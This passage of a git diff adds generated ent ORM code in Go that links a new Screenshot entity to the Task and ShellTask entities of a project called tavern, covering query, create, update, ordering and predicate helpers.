stq.withCreator != nil { @@ -592,6 +630,13 @@ func (stq *ShellTaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*S return nil, err } } + if query := stq.withScreenshots; query != nil { + if err := stq.loadScreenshots(ctx, query, nodes, + func(n *ShellTask) { n.Edges.Screenshots = []*Screenshot{} }, + func(n *ShellTask, e *Screenshot) { n.Edges.Screenshots = append(n.Edges.Screenshots, e) }); err != nil { + return nil, err + } + } for name, query := range stq.withNamedReportedCredentials { if err := stq.loadReportedCredentials(ctx, query, nodes, func(n *ShellTask) { n.appendNamedReportedCredentials(name) }, @@ -613,6 +658,13 @@ func (stq *ShellTaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*S return nil, err } } + for name, query := range stq.withNamedScreenshots { + if err := stq.loadScreenshots(ctx, query, nodes, + func(n *ShellTask) { n.appendNamedScreenshots(name) }, + func(n *ShellTask, e *Screenshot) { n.appendNamedScreenshots(name, e) }); err != nil { + return nil, err + } + } for i := range stq.loadTotal { if err := stq.loadTotal[i](ctx, nodes); err != nil { return nil, err @@ -778,6 +830,37 @@ func (stq *ShellTaskQuery) loadReportedProcesses(ctx context.Context, query *Hos } return nil } +func (stq *ShellTaskQuery) loadScreenshots(ctx context.Context, query *ScreenshotQuery, nodes []*ShellTask, init func(*ShellTask), assign func(*ShellTask, *Screenshot)) error { + fks := make([]driver.Value, 0, len(nodes)) + nodeids := make(map[int]*ShellTask) + for i := range nodes { + fks = append(fks, nodes[i].ID) + nodeids[nodes[i].ID] = nodes[i] + if init != nil { + init(nodes[i]) + } + } + query.withFKs = true + query.Where(predicate.Screenshot(func(s *sql.Selector) { + s.Where(sql.InValues(s.C(shelltask.ScreenshotsColumn), fks...)) + })) + neighbors, err := query.All(ctx) + if err != nil { + return err + } + for _, n := range neighbors { + fk := n.shell_task_screenshots + if fk == nil { + return fmt.Errorf(`foreign-key "shell_task_screenshots" is nil for node %v`, n.ID) + } + node, ok := nodeids[*fk] + if !ok { + return fmt.Errorf(`unexpected referenced foreign-key "shell_task_screenshots" returned %v for node %v`, *fk, n.ID) + } + assign(node, n) + } + return nil +} func (stq *ShellTaskQuery) sqlCount(ctx context.Context) (int, error) { _spec := stq.querySpec() @@ -905,6 +988,20 @@ func (stq *ShellTaskQuery) WithNamedReportedProcesses(name string, opts ...func( return stq } +// WithNamedScreenshots tells the query-builder to eager-load the nodes that are connected to the "screenshots" +// edge with the given name. The optional arguments are used to configure the query builder of the edge. +func (stq *ShellTaskQuery) WithNamedScreenshots(name string, opts ...func(*ScreenshotQuery)) *ShellTaskQuery { + query := (&ScreenshotClient{config: stq.config}).Query() + for _, opt := range opts { + opt(query) + } + if stq.withNamedScreenshots == nil { + stq.withNamedScreenshots = make(map[string]*ScreenshotQuery) + } + stq.withNamedScreenshots[name] = query + return stq +} + // ShellTaskGroupBy is the group-by builder for ShellTask entities. type ShellTaskGroupBy struct { selector diff --git a/tavern/internal/ent/shelltask_update.go b/tavern/internal/ent/shelltask_update.go index d5203b7bd..6aa42c00f 100644 --- a/tavern/internal/ent/shelltask_update.go +++ b/tavern/internal/ent/shelltask_update.go @@ -15,6 +15,7 @@ import ( "realm.pub/tavern/internal/ent/hostfile" "realm.pub/tavern/internal/ent/hostprocess" "realm.pub/tavern/internal/ent/predicate" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/user" @@ -255,6 +256,21 @@ func (stu *ShellTaskUpdate) AddReportedProcesses(h ...*HostProcess) *ShellTaskUp return stu.AddReportedProcessIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (stu *ShellTaskUpdate) AddScreenshotIDs(ids ...int) *ShellTaskUpdate { + stu.mutation.AddScreenshotIDs(ids...) + return stu +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (stu *ShellTaskUpdate) AddScreenshots(s ...*Screenshot) *ShellTaskUpdate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return stu.AddScreenshotIDs(ids...) +} + // Mutation returns the ShellTaskMutation object of the builder. func (stu *ShellTaskUpdate) Mutation() *ShellTaskMutation { return stu.mutation @@ -335,6 +351,27 @@ func (stu *ShellTaskUpdate) RemoveReportedProcesses(h ...*HostProcess) *ShellTas return stu.RemoveReportedProcessIDs(ids...) } +// ClearScreenshots clears all "screenshots" edges to the Screenshot entity. +func (stu *ShellTaskUpdate) ClearScreenshots() *ShellTaskUpdate { + stu.mutation.ClearScreenshots() + return stu +} + +// RemoveScreenshotIDs removes the "screenshots" edge to Screenshot entities by IDs. +func (stu *ShellTaskUpdate) RemoveScreenshotIDs(ids ...int) *ShellTaskUpdate { + stu.mutation.RemoveScreenshotIDs(ids...) + return stu +} + +// RemoveScreenshots removes "screenshots" edges to Screenshot entities. +func (stu *ShellTaskUpdate) RemoveScreenshots(s ...*Screenshot) *ShellTaskUpdate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return stu.RemoveScreenshotIDs(ids...) +} + // Save executes the query and returns the number of nodes affected by the update operation. func (stu *ShellTaskUpdate) Save(ctx context.Context) (int, error) { stu.defaults() @@ -632,6 +669,51 @@ func (stu *ShellTaskUpdate) sqlSave(ctx context.Context) (n int, err error) { } _spec.Edges.Add = append(_spec.Edges.Add, edge) } + if stu.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: shelltask.ScreenshotsTable, + Columns: []string{shelltask.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := stu.mutation.RemovedScreenshotsIDs(); len(nodes) > 0 && !stu.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: shelltask.ScreenshotsTable, + Columns: []string{shelltask.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := stu.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: shelltask.ScreenshotsTable, + Columns: []string{shelltask.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } if n, err = sqlgraph.UpdateNodes(ctx, stu.driver, _spec); err != nil { if _, ok := err.(*sqlgraph.NotFoundError); ok { err = &NotFoundError{shelltask.Label} @@ -874,6 +956,21 @@ func (stuo *ShellTaskUpdateOne) AddReportedProcesses(h ...*HostProcess) *ShellTa return stuo.AddReportedProcessIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (stuo *ShellTaskUpdateOne) AddScreenshotIDs(ids ...int) *ShellTaskUpdateOne { + stuo.mutation.AddScreenshotIDs(ids...) + return stuo +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (stuo *ShellTaskUpdateOne) AddScreenshots(s ...*Screenshot) *ShellTaskUpdateOne { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return stuo.AddScreenshotIDs(ids...) +} + // Mutation returns the ShellTaskMutation object of the builder. func (stuo *ShellTaskUpdateOne) Mutation() *ShellTaskMutation { return stuo.mutation @@ -954,6 +1051,27 @@ func (stuo *ShellTaskUpdateOne) RemoveReportedProcesses(h ...*HostProcess) *Shel return stuo.RemoveReportedProcessIDs(ids...) } +// ClearScreenshots clears all "screenshots" edges to the Screenshot entity. +func (stuo *ShellTaskUpdateOne) ClearScreenshots() *ShellTaskUpdateOne { + stuo.mutation.ClearScreenshots() + return stuo +} + +// RemoveScreenshotIDs removes the "screenshots" edge to Screenshot entities by IDs. +func (stuo *ShellTaskUpdateOne) RemoveScreenshotIDs(ids ...int) *ShellTaskUpdateOne { + stuo.mutation.RemoveScreenshotIDs(ids...) + return stuo +} + +// RemoveScreenshots removes "screenshots" edges to Screenshot entities. +func (stuo *ShellTaskUpdateOne) RemoveScreenshots(s ...*Screenshot) *ShellTaskUpdateOne { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return stuo.RemoveScreenshotIDs(ids...) +} + // Where appends a list predicates to the ShellTaskUpdate builder. func (stuo *ShellTaskUpdateOne) Where(ps ...predicate.ShellTask) *ShellTaskUpdateOne { stuo.mutation.Where(ps...) @@ -1281,6 +1399,51 @@ func (stuo *ShellTaskUpdateOne) sqlSave(ctx context.Context) (_node *ShellTask, } _spec.Edges.Add = append(_spec.Edges.Add, edge) } + if stuo.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: shelltask.ScreenshotsTable, + Columns: []string{shelltask.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := stuo.mutation.RemovedScreenshotsIDs(); len(nodes) > 0 && !stuo.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: shelltask.ScreenshotsTable, + Columns: []string{shelltask.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := stuo.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: shelltask.ScreenshotsTable, + Columns: []string{shelltask.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } _node = &ShellTask{config: stuo.config} _spec.Assign = _node.assignValues _spec.ScanValues = _node.scanValues diff --git a/tavern/internal/ent/task.go b/tavern/internal/ent/task.go index 924b8c155..8c977dfde 100644 --- a/tavern/internal/ent/task.go +++ b/tavern/internal/ent/task.go @@ -57,16 +57,19 @@ type TaskEdges struct { ReportedCredentials []*HostCredential `json:"reported_credentials,omitempty"` // Shells that were created by this task Shells []*Shell `json:"shells,omitempty"` + // Screenshots that have been reported by this task. + Screenshots []*Screenshot `json:"screenshots,omitempty"` // loadedTypes holds the information for reporting if a // type was loaded (or requested) in eager-loading or not. - loadedTypes [6]bool + loadedTypes [7]bool // totalCount holds the count of the edges above. - totalCount [6]map[string]int + totalCount [7]map[string]int namedReportedFiles map[string][]*HostFile namedReportedProcesses map[string][]*HostProcess namedReportedCredentials map[string][]*HostCredential namedShells map[string][]*Shell + namedScreenshots map[string][]*Screenshot } // QuestOrErr returns the Quest value or an error if the edge @@ -127,6 +130,15 @@ func (e TaskEdges) ShellsOrErr() ([]*Shell, error) { return nil, &NotLoadedError{edge: "shells"} } +// ScreenshotsOrErr returns the Screenshots value or an error if the edge +// was not loaded in eager-loading. +func (e TaskEdges) ScreenshotsOrErr() ([]*Screenshot, error) { + if e.loadedTypes[6] { + return e.Screenshots, nil + } + return nil, &NotLoadedError{edge: "screenshots"} +} + // scanValues returns the types for scanning values from sql.Rows. func (*Task) scanValues(columns []string) ([]any, error) { values := make([]any, len(columns)) @@ -268,6 +280,11 @@ func (t *Task) QueryShells() *ShellQuery { return NewTaskClient(t.config).QueryShells(t) } +// QueryScreenshots queries the "screenshots" edge of the Task entity. +func (t *Task) QueryScreenshots() *ScreenshotQuery { + return NewTaskClient(t.config).QueryScreenshots(t) +} + // Update returns a builder for updating this Task. // Note that you need to call Task.Unwrap() before calling this method if this Task // was returned from a transaction, and the transaction was committed or rolled back. @@ -414,5 +431,29 @@ func (t *Task) appendNamedShells(name string, edges ...*Shell) { } } +// NamedScreenshots returns the Screenshots named value or an error if the edge was not +// loaded in eager-loading with this name. +func (t *Task) NamedScreenshots(name string) ([]*Screenshot, error) { + if t.Edges.namedScreenshots == nil { + return nil, &NotLoadedError{edge: name} + } + nodes, ok := t.Edges.namedScreenshots[name] + if !ok { + return nil, &NotLoadedError{edge: name} + } + return nodes, nil +} + +func (t *Task) appendNamedScreenshots(name string, edges ...*Screenshot) { + if t.Edges.namedScreenshots == nil { + t.Edges.namedScreenshots = make(map[string][]*Screenshot) + } + if len(edges) == 0 { + t.Edges.namedScreenshots[name] = []*Screenshot{} + } else { + t.Edges.namedScreenshots[name] = append(t.Edges.namedScreenshots[name], edges...) + } +} + // Tasks is a parsable slice of Task. type Tasks []*Task diff --git a/tavern/internal/ent/task/task.go b/tavern/internal/ent/task/task.go index 0fb6fb72e..f0a98f987 100644 --- a/tavern/internal/ent/task/task.go +++ b/tavern/internal/ent/task/task.go @@ -43,6 +43,8 @@ const ( EdgeReportedCredentials = "reported_credentials" // EdgeShells holds the string denoting the shells edge name in mutations. EdgeShells = "shells" + // EdgeScreenshots holds the string denoting the screenshots edge name in mutations. + EdgeScreenshots = "screenshots" // Table holds the table name of the task in the database. Table = "tasks" // QuestTable is the table that holds the quest relation/edge. @@ -87,6 +89,13 @@ const ( ShellsInverseTable = "shells" // ShellsColumn is the table column denoting the shells relation/edge. ShellsColumn = "shell_task" + // ScreenshotsTable is the table that holds the screenshots relation/edge. + ScreenshotsTable = "screenshots" + // ScreenshotsInverseTable is the table name for the Screenshot entity. + // It exists in this package in order to avoid circular dependency with the "screenshot" package. + ScreenshotsInverseTable = "screenshots" + // ScreenshotsColumn is the table column denoting the screenshots relation/edge. + ScreenshotsColumn = "task_screenshots" ) // Columns holds all SQL columns for task fields. @@ -260,6 +269,20 @@ func ByShells(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption { sqlgraph.OrderByNeighborTerms(s, newShellsStep(), append([]sql.OrderTerm{term}, terms...)...) } } + +// ByScreenshotsCount orders the results by screenshots count. +func ByScreenshotsCount(opts ...sql.OrderTermOption) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborsCount(s, newScreenshotsStep(), opts...) + } +} + +// ByScreenshots orders the results by screenshots terms. +func ByScreenshots(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborTerms(s, newScreenshotsStep(), append([]sql.OrderTerm{term}, terms...)...) + } +} func newQuestStep() *sqlgraph.Step { return sqlgraph.NewStep( sqlgraph.From(Table, FieldID), @@ -302,3 +325,10 @@ func newShellsStep() *sqlgraph.Step { sqlgraph.Edge(sqlgraph.O2M, true, ShellsTable, ShellsColumn), ) } +func newScreenshotsStep() *sqlgraph.Step { + return sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ScreenshotsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.O2M, false, ScreenshotsTable, ScreenshotsColumn), + ) +} diff --git a/tavern/internal/ent/task/where.go b/tavern/internal/ent/task/where.go index 82e781dae..b64659b35 100644 --- a/tavern/internal/ent/task/where.go +++ b/tavern/internal/ent/task/where.go @@ -653,6 +653,29 @@ func HasShellsWith(preds ...predicate.Shell) predicate.Task { }) } +// HasScreenshots applies the HasEdge predicate on the "screenshots" edge. +func HasScreenshots() predicate.Task { + return predicate.Task(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.Edge(sqlgraph.O2M, false, ScreenshotsTable, ScreenshotsColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasScreenshotsWith applies the HasEdge predicate on the "screenshots" edge with a given conditions (other predicates). +func HasScreenshotsWith(preds ...predicate.Screenshot) predicate.Task { + return predicate.Task(func(s *sql.Selector) { + step := newScreenshotsStep() + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + // And groups predicates with the AND operator between them. func And(predicates ...predicate.Task) predicate.Task { return predicate.Task(sql.AndPredicates(predicates...)) diff --git a/tavern/internal/ent/task_create.go b/tavern/internal/ent/task_create.go index ab3b60d75..c2804c632 100644 --- a/tavern/internal/ent/task_create.go +++ b/tavern/internal/ent/task_create.go @@ -16,6 +16,7 @@ import ( "realm.pub/tavern/internal/ent/hostfile" "realm.pub/tavern/internal/ent/hostprocess" "realm.pub/tavern/internal/ent/quest" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/task" ) @@ -222,6 +223,21 @@ func (tc *TaskCreate) AddShells(s ...*Shell) *TaskCreate { return tc.AddShellIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (tc *TaskCreate) AddScreenshotIDs(ids ...int) *TaskCreate { + tc.mutation.AddScreenshotIDs(ids...) + return tc +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (tc *TaskCreate) AddScreenshots(s ...*Screenshot) *TaskCreate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return tc.AddScreenshotIDs(ids...) +} + // Mutation returns the TaskMutation object of the builder. func (tc *TaskCreate) Mutation() *TaskMutation { return tc.mutation @@ -459,6 +475,22 @@ func (tc *TaskCreate) createSpec() (*Task, *sqlgraph.CreateSpec) { } _spec.Edges = append(_spec.Edges, edge) } + if nodes := tc.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: task.ScreenshotsTable, + Columns: []string{task.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } return _node, _spec } diff --git a/tavern/internal/ent/task_query.go b/tavern/internal/ent/task_query.go index 6b38bd6c0..0163f6292 100644 --- a/tavern/internal/ent/task_query.go +++ b/tavern/internal/ent/task_query.go @@ -18,6 +18,7 @@ import ( "realm.pub/tavern/internal/ent/hostprocess" "realm.pub/tavern/internal/ent/predicate" "realm.pub/tavern/internal/ent/quest" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/task" ) @@ -35,6 +36,7 @@ type TaskQuery struct { withReportedProcesses *HostProcessQuery withReportedCredentials *HostCredentialQuery withShells *ShellQuery + withScreenshots *ScreenshotQuery withFKs bool modifiers []func(*sql.Selector) loadTotal []func(context.Context, []*Task) error @@ -42,6 +44,7 @@ type TaskQuery struct { withNamedReportedProcesses map[string]*HostProcessQuery withNamedReportedCredentials map[string]*HostCredentialQuery withNamedShells map[string]*ShellQuery + withNamedScreenshots map[string]*ScreenshotQuery // intermediate query (i.e. traversal path). sql *sql.Selector path func(context.Context) (*sql.Selector, error) @@ -210,6 +213,28 @@ func (tq *TaskQuery) QueryShells() *ShellQuery { return query } +// QueryScreenshots chains the current query on the "screenshots" edge. +func (tq *TaskQuery) QueryScreenshots() *ScreenshotQuery { + query := (&ScreenshotClient{config: tq.config}).Query() + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := tq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := tq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(task.Table, task.FieldID, selector), + sqlgraph.To(screenshot.Table, screenshot.FieldID), + sqlgraph.Edge(sqlgraph.O2M, false, task.ScreenshotsTable, task.ScreenshotsColumn), + ) + fromU = sqlgraph.SetNeighbors(tq.driver.Dialect(), step) + return fromU, nil + } + return query +} + // First returns the first Task entity from the query. // Returns a *NotFoundError when no Task was found. func (tq *TaskQuery) First(ctx context.Context) (*Task, error) { @@ -408,6 +433,7 @@ func (tq *TaskQuery) Clone() *TaskQuery { withReportedProcesses: tq.withReportedProcesses.Clone(), withReportedCredentials: tq.withReportedCredentials.Clone(), withShells: tq.withShells.Clone(), + withScreenshots: tq.withScreenshots.Clone(), // clone intermediate query. sql: tq.sql.Clone(), path: tq.path, @@ -480,6 +506,17 @@ func (tq *TaskQuery) WithShells(opts ...func(*ShellQuery)) *TaskQuery { return tq } +// WithScreenshots tells the query-builder to eager-load the nodes that are connected to +// the "screenshots" edge. The optional arguments are used to configure the query builder of the edge. +func (tq *TaskQuery) WithScreenshots(opts ...func(*ScreenshotQuery)) *TaskQuery { + query := (&ScreenshotClient{config: tq.config}).Query() + for _, opt := range opts { + opt(query) + } + tq.withScreenshots = query + return tq +} + // GroupBy is used to group vertices by one or more fields/columns. // It is often used with aggregate functions, like: count, max, mean, min, sum. // @@ -559,13 +596,14 @@ func (tq *TaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Task, e nodes = []*Task{} withFKs = tq.withFKs _spec = tq.querySpec() - loadedTypes = [6]bool{ + loadedTypes = [7]bool{ tq.withQuest != nil, tq.withBeacon != nil, tq.withReportedFiles != nil, tq.withReportedProcesses != nil, tq.withReportedCredentials != nil, tq.withShells != nil, + tq.withScreenshots != nil, } ) if tq.withQuest != nil || tq.withBeacon != nil { @@ -635,6 +673,13 @@ func (tq *TaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Task, e return nil, err } } + if query := tq.withScreenshots; query != nil { + if err := tq.loadScreenshots(ctx, query, nodes, + func(n *Task) { n.Edges.Screenshots = []*Screenshot{} }, + func(n *Task, e *Screenshot) { n.Edges.Screenshots = append(n.Edges.Screenshots, e) }); err != nil { + return nil, err + } + } for name, query := range tq.withNamedReportedFiles { if err := tq.loadReportedFiles(ctx, query, nodes, func(n *Task) { n.appendNamedReportedFiles(name) }, @@ -663,6 +708,13 @@ func (tq *TaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Task, e return nil, err } } + for name, query := range tq.withNamedScreenshots { + if err := tq.loadScreenshots(ctx, query, nodes, + func(n *Task) { n.appendNamedScreenshots(name) }, + func(n *Task, e *Screenshot) { n.appendNamedScreenshots(name, e) }); err != nil { + return nil, err + } + } for i := range tq.loadTotal { if err := tq.loadTotal[i](ctx, nodes); err != nil { return nil, err @@ -859,6 +911,37 @@ func (tq *TaskQuery) loadShells(ctx context.Context, query *ShellQuery, nodes [] } return nil } +func (tq *TaskQuery) loadScreenshots(ctx context.Context, query *ScreenshotQuery, nodes []*Task, init func(*Task), assign func(*Task, *Screenshot)) error { + fks := make([]driver.Value, 0, len(nodes)) + nodeids := make(map[int]*Task) + for i := range nodes { + fks = append(fks, nodes[i].ID) + nodeids[nodes[i].ID] = nodes[i] + if init != nil { + init(nodes[i]) + } + } + query.withFKs = true + query.Where(predicate.Screenshot(func(s *sql.Selector) { + s.Where(sql.InValues(s.C(task.ScreenshotsColumn), fks...)) + })) + neighbors, err := query.All(ctx) + if err != nil { + return err + } + for _, n := range neighbors { + fk := n.task_screenshots + if fk == nil { + return fmt.Errorf(`foreign-key "task_screenshots" is nil for node %v`, n.ID) + } + node, ok := nodeids[*fk] + if !ok { + return fmt.Errorf(`unexpected referenced foreign-key "task_screenshots" returned %v for node %v`, *fk, n.ID) + } + assign(node, n) + } + return nil +} func (tq *TaskQuery) sqlCount(ctx context.Context) (int, error) { _spec := tq.querySpec() @@ -1000,6 +1083,20 @@ func (tq *TaskQuery) WithNamedShells(name string, opts ...func(*ShellQuery)) *Ta return tq } +// WithNamedScreenshots tells the query-builder to eager-load the nodes that are connected to the "screenshots" +// edge with the given name. The optional arguments are used to configure the query builder of the edge. +func (tq *TaskQuery) WithNamedScreenshots(name string, opts ...func(*ScreenshotQuery)) *TaskQuery { + query := (&ScreenshotClient{config: tq.config}).Query() + for _, opt := range opts { + opt(query) + } + if tq.withNamedScreenshots == nil { + tq.withNamedScreenshots = make(map[string]*ScreenshotQuery) + } + tq.withNamedScreenshots[name] = query + return tq +} + // TaskGroupBy is the group-by builder for Task entities. type TaskGroupBy struct { selector diff --git a/tavern/internal/ent/task_update.go b/tavern/internal/ent/task_update.go index 1bec68e73..8e7b0ea54 100644 --- a/tavern/internal/ent/task_update.go +++ b/tavern/internal/ent/task_update.go @@ -17,6 +17,7 @@ import ( "realm.pub/tavern/internal/ent/hostprocess" "realm.pub/tavern/internal/ent/predicate" "realm.pub/tavern/internal/ent/quest" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/task" ) @@ -243,6 +244,21 @@ func (tu *TaskUpdate) AddShells(s ...*Shell) *TaskUpdate { return tu.AddShellIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (tu *TaskUpdate) AddScreenshotIDs(ids ...int) *TaskUpdate { + tu.mutation.AddScreenshotIDs(ids...) + return tu +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (tu *TaskUpdate) AddScreenshots(s ...*Screenshot) *TaskUpdate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return tu.AddScreenshotIDs(ids...) +} + // Mutation returns the TaskMutation object of the builder. func (tu *TaskUpdate) Mutation() *TaskMutation { return tu.mutation @@ -344,6 +360,27 @@ func (tu *TaskUpdate) RemoveShells(s ...*Shell) *TaskUpdate { return tu.RemoveShellIDs(ids...) } +// ClearScreenshots clears all "screenshots" edges to the Screenshot entity. +func (tu *TaskUpdate) ClearScreenshots() *TaskUpdate { + tu.mutation.ClearScreenshots() + return tu +} + +// RemoveScreenshotIDs removes the "screenshots" edge to Screenshot entities by IDs. +func (tu *TaskUpdate) RemoveScreenshotIDs(ids ...int) *TaskUpdate { + tu.mutation.RemoveScreenshotIDs(ids...) + return tu +} + +// RemoveScreenshots removes "screenshots" edges to Screenshot entities. +func (tu *TaskUpdate) RemoveScreenshots(s ...*Screenshot) *TaskUpdate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return tu.RemoveScreenshotIDs(ids...) +} + // Save executes the query and returns the number of nodes affected by the update operation. func (tu *TaskUpdate) Save(ctx context.Context) (int, error) { if err := tu.defaults(); err != nil { @@ -691,6 +728,51 @@ func (tu *TaskUpdate) sqlSave(ctx context.Context) (n int, err error) { } _spec.Edges.Add = append(_spec.Edges.Add, edge) } + if tu.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: task.ScreenshotsTable, + Columns: []string{task.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := tu.mutation.RemovedScreenshotsIDs(); len(nodes) > 0 && !tu.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: task.ScreenshotsTable, + Columns: []string{task.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := tu.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: task.ScreenshotsTable, + Columns: []string{task.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } if n, err = sqlgraph.UpdateNodes(ctx, tu.driver, _spec); err != nil { if _, ok := err.(*sqlgraph.NotFoundError); ok { err = &NotFoundError{task.Label} @@ -920,6 +1002,21 @@ func (tuo *TaskUpdateOne) AddShells(s ...*Shell) *TaskUpdateOne { return tuo.AddShellIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (tuo *TaskUpdateOne) AddScreenshotIDs(ids ...int) *TaskUpdateOne { + tuo.mutation.AddScreenshotIDs(ids...) + return tuo +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (tuo *TaskUpdateOne) AddScreenshots(s ...*Screenshot) *TaskUpdateOne { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return tuo.AddScreenshotIDs(ids...) +} + // Mutation returns the TaskMutation object of the builder. func (tuo *TaskUpdateOne) Mutation() *TaskMutation { return tuo.mutation @@ -1021,6 +1118,27 @@ func (tuo *TaskUpdateOne) RemoveShells(s ...*Shell) *TaskUpdateOne { return tuo.RemoveShellIDs(ids...) } +// ClearScreenshots clears all 